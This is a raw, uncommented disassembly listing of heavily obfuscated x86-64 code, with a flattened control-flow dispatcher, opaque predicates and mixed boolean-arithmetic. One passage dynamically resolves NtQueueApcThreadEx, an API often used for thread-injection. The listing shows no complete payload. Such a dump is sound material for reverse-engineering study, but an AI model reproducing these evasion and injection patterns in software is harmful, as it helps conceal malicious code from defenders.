xor ebp, 0x8805
xor ecx, 0xc000028
or ecx, 0x739777d2
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xd4ea70e8
and ebp, 0x8008805
or ebp, edi
or ecx, ebx
and ebx, 0xd4ea70e8
and edx, 0x2b158f17
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0x739777d2
and ecx, 0x8c68882d
or ecx, edx
sete r10b
setne r8b
cmp eax, 9
setg cl
cmp eax, 0xa
setl r9b
mov eax, r9d
xor al, cl
and al, r9b
mov ebx, eax
xor bl, 1
mov edx, ebx
or dl, al
xor al, dl
xor al, 1
or dl, bl
xor dl, 1
or dl, al
mov ebx, r8d
xor r9b, r10b
xor r10b, cl
or cl, r8b
or r8b, dl
xor r8b, 1
xor bl, dl
xor bl, 1
and bl, dl
mov eax, r8d
and al, bl
xor bl, r8b
or bl, al
xor r10b, 1
xor cl, 1
or cl, r9b
xor cl, 1
mov eax, r10d
and al, cl
xor cl, r10b
or cl, al
mov eax, ecx
xor al, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
xor bl, 1
and bl, al
or cl, bl
mov eax, ecx
xor al, dl
test cl, 1
mov ecx, 0xe718807
mov ebp, 0xcdaa8e52
cmovne ecx, ebp
test dl, 1
mov edx, 0xe718807
jmp 0x14013d1cc
cmp ecx, 0x8cc07c98
je 0x140140b70
cmp ecx, 0x8eaf7d6e
jne 0x140132830
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea edi, [rcx - 1]
imul edi, ecx
mov ecx, edi
not ecx
mov ebp, ecx
and ebp, 0x1000828
mov edx, edi
and edx, 0x8660050
or edx, ebp
mov ebp, edx
xor ebp, 0x8200040
xor edx, 0xf799ffaf
mov ebx, edi
xor ebx, 0x9660878
and ebx, edi
mov esi, ebx
not esi
mov eax, edx
and eax, 0x34df9d37
and ebp, 0x9200048
or ebp, eax
or edx, esi
and esi, 0x34df9d37
and ebx, 0xcb2062c8
or ebx, esi
xor ebx, ebp
not edx
or edx, ebx
mov eax, edx
not eax
and eax, 0x856f8c8e
and edx, 0x7a907371
or edx, eax
mov eax, edx
xor eax, 0x51645308
xor edx, 0x8c0984f7
mov ebp, edx
and ebp, 0x2a92ac62
and eax, 0xd56d539d
or eax, ebp
and edi, 0x2a92ac62
and ecx, 0xd56d539d
or ecx, edi
xor ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete cl
setne bl
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov eax, ebx
and al, r8b
mov edx, r9d
and dl, cl
or dl, al
xor dl, 1
or dl, r8b
xor dl, 1
or bl, r9b
xor cl, r9b
and cl, r9b
xor cl, 1
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
xor cl, dl
mov eax, ecx
xor al, 1
and al, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x2cf4afd2
mov ebp, 0xeb7de1e9
cmovne ecx, ebp
test al, 1
mov eax, 0x2cf4afd2
cmove ecx, eax
jmp 0x14013fc77
cmp ecx, 0xd22b379e
je 0x140140c6a
cmp ecx, 0xd665458b
jne 0x140132830
mov ecx, 0xfab278b3
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0x6b1e1d56
je 0x140140c92
cmp ecx, 0x6c0105b7
jne 0x140132830
mov ecx, 0x1b656e8e
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
cmp ecx, 0xb4583ccd
je 0x140140e00
cmp ecx, 0xb4d35342
jne 0x140132830
mov ecx, dword [0x1402656e8]
lea eax, [rcx - 1]
imul eax, ecx
mov ecx, eax
not ecx
mov edx, ecx
and edx, eax
mov ebp, edx
not ebp
mov ebx, eax
and ebx, 0x1bb8b5b2
and ecx, 0xe4474a4d
or ecx, ebx
or eax, ebp
and ebp, 0x1bb8b5b2
and edx, 0xe4474a4d
or edx, ebp
xor edx, ecx
not eax
or eax, edx
mov edx, eax
not edx
mov ecx, edx
or ecx, 1
mov ebp, ecx
not ebp
and edx, 0xfffffffe
and eax, 1
or eax, edx
mov edx, eax
not edx
mov ebx, ecx
and ebx, 0x5a656bf8
and ebp, 0xa59a9406
or ebp, ebx
or ecx, edx
and edx, 0x5a656bf8
and eax, 0xa59a9407
or eax, edx
xor eax, ebp
not ecx
or ecx, eax
mov eax, ecx
not eax
mov edx, eax
and edx, 0xbcc8886d
and eax, ecx
and ecx, 0x43377792
or ecx, edx
xor ecx, 0x43377792
mov edx, ecx
and edx, eax
xor ecx, eax
or ecx, edx
mov eax, ecx
not eax
and ecx, 0xc7254a8d
and eax, 0x38dab572
or eax, ecx
xor eax, 0x38dab572
sete r8b
cmp dword [0x1402656e4], 9
setg cl
xor r8b, cl
mov r9d, r8d
xor r9b, 1
or cl, r9b
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov edx, r9d
and dl, r8b
mov r10d, ebx
and r10b, al
xor bl, al
or bl, r10b
mov eax, edx
and al, r9b
xor dl, r9b
or dl, al
xor dl, bl
mov eax, ecx
and al, r8b
xor cl, r8b
or cl, al
mov eax, ecx
xor al, dl
test cl, cl
mov ecx, 0x20ae4da9
mov ebp, 0x6fd24ba1
cmovne ecx, ebp
test dl, 1
cmove ecx, ebp
test al, 1
mov eax, 0x20ae4da9
jmp 0x140140dec
cmp ecx, 0xf630a908
je 0x140140e22
cmp ecx, 0xf684d899
jne 0x140132830
mov eax, dword [0x1402656e8]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0x9fcba2b7
and edx, 0x60345d48
or edx, eax
mov ecx, edx
xor ecx, 0x60100948
xor edx, 0x15ca20b7
and edx, 0x15ee74b7
and ecx, 0xea118b48
or ecx, edx
mov edx, ecx
xor edx, 0x5aa6411
mov eax, ecx
xor eax, 0xea118b48
mov ebp, eax
and ebp, 0x924490ae
and edx, 0x6dbb6f51
or edx, ebp
mov ebp, edx
not ebp
and ebp, 0x6dbb6f50
and edx, 0x924490af
or edx, ebp
and eax, 1
xor ecx, 0xea118b49
or ecx, eax
mov eax, ecx
not eax
and eax, 0xacb1a10b
and ecx, 0x534e5ef4
or ecx, eax
mov ebp, ecx
xor ebp, 0x124648c0
xor ecx, 0xacb1a10b
mov eax, edx
not eax
mov ebx, eax
and ebx, 0x45989635
and edx, 0xba6769ca
or edx, ebx
or eax, ecx
and ecx, 0x45989635
and ebp, 0xba6769ca
or ebp, ecx
xor ebp, edx
not eax
or eax, ebp
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xbbd298b6
and ecx, eax
and eax, 0x442d6749
or eax, edx
mov edx, eax
xor edx, 0x82348
xor eax, 0xbbd298b6
mov ebp, ecx
not ebp
mov ebx, eax
and ebx, 0xf4754433
and edx, 0xb8abbcc
or edx, ebx
or eax, ebp
and ebp, 0xf4754433
and ecx, 0xb8abbcc
or ecx, ebp
xor ecx, edx
not eax
or eax, ecx
mov ecx, eax
not ecx
and eax, 0xd5ece51d
and ecx, 0x2a131ae2
or ecx, eax
mov eax, ecx
xor eax, 0x50602100
xor ecx, 0x8110a20
and ecx, 0x8d9dce3d
and eax, 0x726231c2
or eax, ecx
xor eax, 0x726231c2
sete al
setne cl
cmp dword [0x1402656e4], 0xa
setl r8b
xor cl, r8b
xor cl, 1
mov edx, r8d
or dl, al
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
xor r8b, al
mov eax, ecx
and al, dl
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
mov ecx, eax
xor cl, 1
and cl, r8b
xor r8b, 1
and al, r8b
or al, cl
mov ecx, edx
and cl, r8b
xor r8b, dl
or r8b, cl
mov edx, r8d
xor dl, al
test r8b, r8b
mov ecx, 0x686b0d9e
mov ebp, 0x57e87cb1
cmovne ecx, ebp
test al, al
cmove ecx, ebp
test dl, 1
mov eax, 0x686b0d9e
jmp 0x140140dec
mov ecx, 0xa5c6d286
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x81157efe
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ebx, ebp
or ebx, 0xdb7c4178
mov ecx, ebx
not ecx
or edx, 0x3285
and edx, 0x42243385
and ebp, 0x99584078
or ebp, edx
and ebx, 0x42243385
and ecx, 0x24838c02
or ecx, ebx
xor ecx, ebp
mov edx, ecx
not edx
and edx, 0xb0172868
and ecx, 0x4fe8d797
or ecx, edx
mov ebx, ecx
xor ebx, 0x949496ef
xor ecx, 0x6b6b6910
mov ebp, ebx
or ebp, 0x724b3175
mov edi, ebp
not edi
mov esi, ecx
or esi, 0x8db4ce8a
mov edx, esi
not edx
and ebp, 0xa5c2d8fe
and edi, 0x8340600
or edi, ebp
and esi, 0xa5c2d8fe
and edx, 0x52092101
or edx, esi
xor edx, edi
mov ebp, edx
not ebp
and ebp, 0x724b3174
and edx, 0x8db4ce8b
or edx, ebp
and ebx, 0xf241ef99
mov ebp, ecx
and ebp, 0xdbe1066
or ebp, ebx
xor ebp, 0xf241ef98
and ecx, 1
or ecx, ebp
not ecx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
mov ebp, ecx
xor ebp, 0x309a7557
and ebp, ecx
not ecx
and ecx, 0x48428344
and edx, 0xb7bd7cbb
or edx, ecx
mov ecx, edx
xor ecx, 0x10881000
xor edx, 0x20144
or edx, 0xcf658aa8
mov ebx, ebp
not ebx
mov edi, edx
and edi, 0xe510ec7f
and ecx, 0x108a1100
or ecx, edi
or edx, ebx
and ebx, 0xe510ec7f
and ebp, 0x1aef1380
or ebp, ebx
xor ebp, ecx
not edx
or edx, ebp
mov ecx, edx
not ecx
and ecx, 0x1e92db72
and edx, 0xe16d248d
or edx, ecx
xor edx, 0xd1f751da
setne r8b
sete cl
cmp eax, 9
setg bl
cmp eax, 0xa
setl r9b
mov edx, ecx
xor dl, r9b
and cl, dl
and r9b, dl
mov eax, ecx
and al, r9b
xor r9b, cl
or r9b, al
mov ecx, r8d
xor cl, bl
or bl, r8b
xor bl, 1
or bl, dl
mov eax, ebx
xor al, cl
xor cl, 1
xor al, 1
or cl, bl
xor cl, 1
or cl, al
mov r8d, r9d
xor r8b, 1
mov ebx, r8d
mov edx, ecx
xor r8b, cl
xor cl, 1
and bl, r9b
and dl, cl
xor bl, 1
mov eax, r9d
xor al, bl
or bl, r9b
xor bl, 1
or bl, al
xor dl, 1
mov eax, ecx
xor al, dl
or dl, cl
xor dl, 1
or dl, al
mov eax, ebx
xor al, 1
and al, dl
xor dl, 1
and dl, bl
or dl, al
or cl, r9b
xor cl, 1
or cl, r8b
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x5ec700ff
mov ebp, 0x988f8ff7
cmovne eax, ebp
test cl, 1
mov ecx, 0x5ec700ff
jmp 0x140140de6
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edi, ecx
not edi
mov ebp, ecx
or ebp, 0xf602b9a4
mov ebx, ecx
and ebx, 0xf602b9a4
mov edx, edi
and edx, 0x9fd465a
or edx, ebx
and ebp, 0xf602b9a5
xor ebp, edx
and edi, 0x16402343
and ecx, 0xe9bfdcbc
or ecx, edi
mov edx, ecx
xor edx, 0xe9bfdcbc
xor ecx, 0x16402343
and ecx, ebp
not ebp
and edx, ebp
or ecx, edx
xor ebp, ecx
test ebp, ecx
sete r8b
setne cl
cmp eax, 0xa
setl bl
cmp eax, 9
setg dl
xor cl, dl
mov eax, edx
xor al, r8b
and al, dl
xor bl, r8b
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ebx
xor al, 1
and bl, al
mov edx, eax
and dl, bl
xor bl, al
or bl, dl
mov eax, ecx
xor al, 1
and al, bl
xor bl, 1
mov edx, ecx
xor dl, bl
and dl, cl
and bl, cl
or bl, al
mov eax, edx
xor al, bl
test bl, bl
mov ecx, 0x6a0bac6c
mov ebp, 0xc89deb19
cmovne ecx, ebp
test dl, dl
mov edx, 0x6a0bac6c
jmp 0x14013fe27
mov edx, dword [0x1402656e8]
mov esi, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xccd49e74
mov ecx, ebp
and ecx, 0x332b618a
or ecx, edx
mov edi, ecx
xor edi, 0x11092100
xor ecx, 0x44808435
mov edx, ebx
or edx, 0x66a2c4be
and ecx, 0x66a2c4bf
and edi, 0x995d3b40
or edi, ecx
and edx, 0x66a2c4bf
xor edx, edi
and ebx, 0xf4944299
and ebp, 0xb6bbd66
or ebp, ebx
mov ecx, ebp
xor ecx, 0x6b9100
mov edi, edx
not edi
mov ebx, edi
and ebx, 0xbb906c66
and edx, 0x446f9399
or edx, ebx
xor ebp, 0xb0904000
and ebp, 0xbb906c66
and ecx, 0x446f9399
or ecx, ebp
xor ecx, edx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
sete r9b
setne al
cmp esi, 0xa
setl bl
cmp esi, 9
setg r8b
mov edx, eax
xor dl, r9b
and dl, al
mov eax, ebx
or al, dl
xor dl, 1
or dl, r8b
xor dl, 1
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, r9d
xor cl, bl
and bl, r9b
or bl, cl
xor cl, 1
mov edx, ecx
xor dl, bl
or cl, bl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, edx
xor cl, 1
xor dl, al
xor al, 1
or al, cl
mov ecx, eax
xor cl, dl
test cl, 1
mov ebp, 0xc6ef036e
mov ecx, 0x46f9219b
cmovne ebp, ecx
test dl, 1
mov ecx, ebp
mov edx, 0xc6ef036e
cmovne ecx, edx
jmp 0x14013d1cf
mov rcx, qword [rsp + 0x30]
lea rdx, str.NtQueueApcThreadEx
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xd0820b0b
mov ecx, ebp
and ecx, 0x2f7df4f4
or ecx, edx
mov edi, ecx
xor edi, 0x282134a0
xor ecx, 0x40820108
mov edx, ebx
or edx, 0x47dec15c
or ecx, 1
and ecx, 0x47dec15d
and edi, 0xb8213ea2
or edi, ecx
and edx, 0x47dec15d
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x29847c28
and edx, 0xd67b83d7
or edx, ecx
xor edx, 0xd67b83d7
and ebx, 0x5b5add82
and ebp, 0xa4a5227d
or ebp, ebx
xor ebp, 0xa4a5227d
mov ecx, edx
and ecx, ebp
xor ebp, edx
or ebp, ecx
mov ecx, ebp
not ecx
and ecx, 0x37a6fb1e
and ebp, 0xc85904e1
or ebp, ecx
xor ebp, 0xc85904e1
sete r8b
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
xor bl, al
and bl, al
mov edx, ebx
xor dl, 1
mov ecx, ebx
and cl, dl
mov r9d, ecx
and r9b, bl
xor cl, bl
or cl, r9b
or dl, bl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
xor cl, 1
mov edx, r8d
and dl, cl
or cl, r8b
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, eax
or bl, r8b
xor al, r8b
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
xor al, cl
and cl, al
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x9471f86d
mov ebp, 0x3ad0b10f
cmovne edx, ebp
test al, 1
mov eax, 0x9471f86d
cmovne eax, edx
test cl, 1
jmp 0x14013d3f7
mov ecx, 0xb4d65409
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebp, edx
not ebp
mov ecx, ebp
and ecx, 0x2048c432
mov ebx, edx
and ebx, 0xdfb73bcc
or ebx, ecx
xor ebx, 0xdfb73bcc
mov ecx, edx
xor ecx, 0xfffffffe
and ecx, edx
mov edi, ebx
and edi, ecx
xor ecx, ebx
or ecx, edi
mov ebx, ecx
not ebx
and ebp, 0x1e614bbc
and edx, 0xe19eb443
or edx, ebp
mov ebp, edx
xor ebp, 0xa0989001
xor edx, 0x1e614bbc
mov edi, ecx
and edi, 0x472625c2
and ebx, 0xb8d9da3d
or ebx, edi
or ecx, edx
and edx, 0x472625c2
and ebp, 0xb8d9da3d
or ebp, edx
xor ebp, ebx
not ecx
or ecx, ebp
mov edx, ecx
not edx
and edx, 0x4435984f
and ecx, 0xbbca67b0
or ecx, edx
xor ecx, 0xbbca67b0
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg bl
mov eax, ebx
and al, cl
xor bl, cl
or bl, al
mov eax, ecx
or al, dl
xor cl, dl
not cl
and cl, dl
xor cl, 1
mov edx, eax
xor dl, cl
or cl, al
xor cl, 1
or cl, dl
mov eax, ecx
xor al, 1
and al, cl
xor al, 1
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov edx, eax
xor al, 1
and al, bl
xor bl, 1
and dl, bl
or al, dl
mov edx, ebx
xor dl, cl
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, al
test cl, 1
mov ecx, 0x1332e655
mov ebp, 0xb4d35342
cmovne ecx, ebp
test al, al
cmove ecx, ebp
test dl, 1
mov eax, 0x1332e655
jmp 0x140140dec
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov edx, ebp
and edx, ecx
mov ebx, edx
not ebx
mov edi, ecx
and edi, 0xe6c6c438
and ebp, 0x19393bc7
or ebp, edi
or ecx, ebx
and ebx, 0xe6c6c438
and edx, 0x19393bc7
or edx, ebx
xor edx, ebp
not ecx
or ecx, edx
mov edx, ecx
xor edx, 1
and edx, ecx
mov ebp, ecx
not ebp
and ebp, 0x6c86a0a3
and ecx, 0x93795f5c
or ecx, ebp
xor ecx, 0x93795f5d
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
and ecx, edx
mov ebp, edx
and ebp, ecx
xor ecx, edx
or ecx, ebp
mov edx, ecx
not edx
mov ebp, edx
and ebp, 0x5f900ddf
and ecx, 0xa06ff220
or ecx, ebp
xor ecx, 0x5f900ddf
xor edx, ecx
test edx, ecx
setne bl
sete dl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
and al, dl
and bl, cl
or bl, al
or cl, dl
xor cl, 1
mov eax, ecx
and al, bl
xor cl, bl
or cl, al
mov eax, ecx
xor al, 1
and cl, al
mov edx, eax
and dl, cl
xor cl, al
or cl, dl
mov eax, ebx
xor al, 1
mov edx, ebx
and dl, al
xor dl, 1
mov r8d, edx
xor r8b, al
or dl, al
xor dl, 1
or dl, r8b
xor dl, cl
mov eax, ebx
xor al, cl
or cl, bl
xor cl, 1
or cl, al
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x559984d4
cmovne eax, r15d
test cl, 1
mov ecx, 0x559984d4
jmp 0x140140de6
mov edx, dword [0x1402656e8]
mov eax, dword [0x1402656e4]
lea ebp, [rdx - 1]
imul ebp, edx
mov ebx, ebp
not ebx
mov edx, ebx
and edx, 0xa0c0000
mov ecx, ebp
and ecx, 0x60829885
or ecx, edx
xor ecx, 0x60829885
mov edx, ebp
xor edx, 0x6a8e9885
and edx, ebp
mov edi, ecx
and edi, edx
xor edx, ecx
or edx, edi
mov ecx, edx
not ecx
and ecx, 0x33880238
and edx, 0xcc77fdc7
or edx, ecx
mov ecx, edx
xor ecx, 0xa6f96543
xor edx, 0x59069abc
and ebx, edx
and ecx, ebp
or ecx, ebx
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor al, 1
mov ebx, ecx
or bl, dl
xor bl, 1
xor cl, dl
not cl
and cl, dl
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
xor cl, al
mov edx, ecx
not dl
and dl, al
mov eax, edx
xor al, cl
test al, 1
mov eax, 0xc1acc54e
mov ebp, 0x1683ff6f
cmovne eax, ebp
test cl, cl
mov ecx, eax
jmp 0x14013bb4e
mov ecx, 0xcf11284
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
xor ecx, 0x8c40b80c
and ecx, ebx
or ebx, 0x73bf47f3
mov edx, ebx
not edx
mov ebp, ecx
not ebp
mov edi, ebx
and edi, 0x156ab64d
and edx, 0x88000800
or edx, edi
or ebx, ebp
and ebp, 0x156ab64d
and ecx, 0xea9549b2
or ecx, ebp
xor ecx, edx
not ebx
or ebx, ecx
mov ecx, ebx
not ecx
and ecx, 0xb0fbd038
and ebx, 0x4f042fc7
or ebx, ecx
mov edi, ebx
xor edi, 0xc104840b
xor ebx, 0x3cbb6834
mov ecx, ebx
and ecx, 0x3e7a33c4
and edi, 0xc185cc3b
or edi, ecx
mov ecx, edi
xor ecx, 0xc185cc3b
mov edx, edi
xor edx, 0xd8890c5c
and edx, ecx
or ebx, 0xe6f33f98
mov esi, ebx
not esi
mov ebp, edx
not ebp
mov eax, ebp
and eax, 0x2f22377b
and edx, 0xd0ddc884
or edx, eax
or ebp, ebx
and ebx, 0x2f22377b
and esi, 0x100cc004
or esi, ebx
xor esi, edx
not ebp
or ebp, esi
mov eax, ebp
not eax
and eax, 0x190cc066
and ebp, 0xe6f33f99
or ebp, eax
xor edi, 0x3a021380
and edi, 0xfb821baa
mov eax, ecx
and eax, 0x47de455
or eax, edi
xor eax, 0xfb821bab
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
and eax, 0x135aa2d0
and ecx, 0xeca55d2f
or ecx, eax
mov eax, ecx
xor eax, 0xeca05422
mov edx, ebp
not edx
xor ecx, 0x135aa2d0
mov ebx, edx
and ebx, 0x57ab9d
and ebp, 0xffa85462
or ebp, ebx
or edx, ecx
and ecx, 0x57ab9d
and eax, 0xffa85462
or eax, ecx
xor eax, ebp
not edx
or edx, eax
mov eax, edx
not eax
and eax, 0xda31c2e9
and edx, 0x25ce3d16
or edx, eax
mov eax, edx
xor eax, 0x20883104
xor edx, 0x1c060
and edx, 0x547cc72
and eax, 0xfab8338d
or eax, edx
xor eax, 0x547cc72
sete dl
cmp r8d, 9
setg r9b
cmp r8d, 0xa
setl cl
mov eax, ecx
xor al, dl
or cl, dl
xor cl, 1
or cl, al
mov r8d, ecx
xor r8b, 1
and al, dl
or r9b, dl
xor al, 1
mov edx, eax
xor dl, r9b
or al, r9b
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
mov ebx, ecx
and bl, r8b
xor bl, 1
mov r9d, r8d
xor r9b, bl
or bl, r8b
xor bl, 1
or bl, r9b
xor bl, dl
xor dl, cl
or al, r8b
xor al, 1
or al, dl
mov edx, eax
xor dl, bl
test al, 1
mov ecx, 0xd8ccaf64
mov eax, 0x988f8ff7
cmovne ecx, eax
test bl, 1
cmove ecx, eax
test dl, 1
mov eax, 0xd8ccaf64
jmp 0x140140dec
mov ecx, 0x89fe6ec6
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov eax, dword [0x1402656e8]
lea ebp, [rax - 1]
imul ebp, eax
mov eax, ebp
not eax
mov edx, eax
and edx, 0xcb8c549c
mov ecx, ebp
and ecx, 0x3473ab63
or ecx, edx
mov edx, ecx
not edx
and edx, 0x3473ab62
and ecx, 0xcb8c549d
or ecx, edx
mov edx, ecx
not edx
and eax, edx
and ecx, ebp
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
sete bl
setne cl
cmp dword [0x1402656e4], 0xa
setl al
xor cl, al
xor cl, 1
mov edx, eax
or dl, bl
xor dl, 1
or dl, cl
xor dl, 1
xor bl, al
xor bl, dl
mov eax, ebx
xor al, 1
and dl, al
xor al, dl
test bl, bl
mov ecx, 0xd6d6008f
mov ebp, 0x978d8b9a
cmovne ecx, ebp
test dl, dl
mov edx, 0xd6d6008f
cmove ecx, edx
jmp 0x14013de1d
mov edx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ecx, [rdx - 1]
imul ecx, edx
mov ebp, ecx
not ebp
mov ebx, ebp
and ebx, 0x36ee9146
mov edx, ecx
and edx, 0xc9116eb9
or edx, ebx
mov ebx, edx
xor ebx, 0xc0004ea8
xor edx, 0x36ee9146
mov edi, ecx
xor edi, 0xfffffffe
and edi, ecx
or edx, 1
mov esi, edi
not esi
mov eax, edx
and eax, 0xb91a153
and ebx, 0xf46e5eac
or ebx, eax
or edx, esi
and esi, 0xb91a153
and edi, 0xf46e5eac
or edi, esi
xor edi, ebx
not edx
or edx, edi
and ebp, 0x2086ab80
and ecx, 0xdf79547f
or ecx, ebp
mov eax, ecx
xor eax, 0xdf79547f
xor ecx, 0x2086ab80
and ecx, edx
not edx
and eax, edx
or ecx, eax
not ecx
or ecx, edx
cmp ecx, 0xffffffff
setne al
sete r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl cl
mov ebx, ecx
and al, cl
xor cl, r9b
or bl, r9b
xor bl, 1
or bl, cl
xor bl, 1
and dl, r9b
or al, dl
xor al, bl
mov ecx, eax
not cl
and cl, bl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x20a1c021
mov ebp, 0x4a2d7b7e
jmp 0x14013d3eb
mov ecx, dword [0x1402656e8]
mov r8d, dword [0x1402656e4]
lea ebp, [rcx - 1]
imul ebp, ecx
mov esi, ebp
not esi
mov edi, esi
and edi, 0xde6aa18a
mov ecx, ebp
and ecx, 0x21955e75
or ecx, edi
mov ebx, ecx
xor ebx, 0x904c00
xor ecx, 0x88620008
mov edx, ebp
xor edx, 0xa8f34c18
and edx, ebp
or ecx, 0x570cb3e7
mov edi, edx
not edi
mov eax, ecx
and eax, 0xeb69b0ff
and ebx, 0x924c00
or ebx, eax
or ecx, edi
and edi, 0xeb69b0ff
and edx, 0x14964f00
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and eax, 0x570cb3e6
and ecx, 0xa8f34c19
or ecx, eax
mov eax, ecx
not eax
and eax, 0x9484c18d
and ecx, 0x6b7b3e72
or ecx, eax
mov eax, ecx
xor eax, 0x62191202
xor ecx, 0x9484c18d
mov edx, ecx
and edx, 0x1966ed7c
and eax, 0xe6991283
or eax, edx
or ecx, ebp
and ebp, 0x1966ed7c
and esi, 0xe6991283
or esi, ebp
xor esi, eax
not ecx
or ecx, esi
mov eax, ecx
not eax
and eax, 0x91f185b9
and ecx, 0x6e0e7a46
or ecx, eax
xor ecx, 0x6e0e7a46
sete al
setne cl
cmp r8d, 0xa
setl dl
cmp r8d, 9
setg bl
and cl, bl
and dl, al
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
mov ecx, ebx
xor cl, al
not cl
and cl, al
or bl, al
xor cl, 1
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
xor cl, dl
mov eax, ecx
xor al, 1
and dl, al
xor al, dl
test al, 1
mov eax, 0x80039e0a
mov ebp, 0x816a3e13
cmovne eax, ebp
test cl, 1
mov ecx, eax
mov ebp, 0x80039e0a
cmovne ecx, ebp
jmp 0x140140de9
mov ecx, 0x8eaf7d6e
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x2e9fcca7
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov ecx, 0x1a53cb42
cmp ecx, 0xda92ad5
jle 0x1401328b0
jmp 0x140132838
mov eax, dword [0x1402656e8]
mov ecx, dword [0x1402656e4]
lea ebp, [rax - 1]
imul ebp, eax
mov edx, ebp
mov eax, ebp
xor eax, 0xb27ad626
and eax, ebp
not ebp
mov ebx, ebp
and ebx, 0xa210c600
and edx, 0x106a1026
or edx, ebx
xor edx, 0x106a1026
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
and edx, 0x4d8529d8
and eax, 0xb27ad627
or eax, edx
not eax
mov edx, eax
and edx, ebp
xor eax, ebp
or eax, edx
mov edx, eax
not edx
and edx, 0xbef9d2e2
and eax, 0x41062d1d
or eax, edx
xor eax, 0x41062d1d
setne al
sete r8b
cmp ecx, 0xa
setl dl
cmp ecx, 9
setg r9b
xor r9b, r8b
mov ebx, eax
or bl, dl
xor al, dl
not al
and al, dl
xor al, 1
mov ecx, ebx
xor cl, al
or al, bl
xor al, 1
or al, cl
or dl, r8b
mov ecx, r9d
xor cl, dl
or dl, r9b
xor dl, 1
or dl, cl
mov ebx, edx
xor bl, 1
mov ecx, ebx
and cl, dl
xor bl, cl
xor cl, 1
or cl, dl
xor cl, 1
or cl, bl
mov ebx, ecx
xor bl, 1
xor al, 1
mov edx, ebx
and dl, cl
mov r8d, ebx
xor r8b, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, r8b
xor dl, al
mov ecx, eax
and cl, bl
xor al, bl
or al, cl
mov ebx, eax
xor bl, dl
test al, 1
mov ecx, 0x7701af91
mov eax, 0x15d5ad2a
cmovne ecx, eax
test dl, 1
cmove ecx, eax
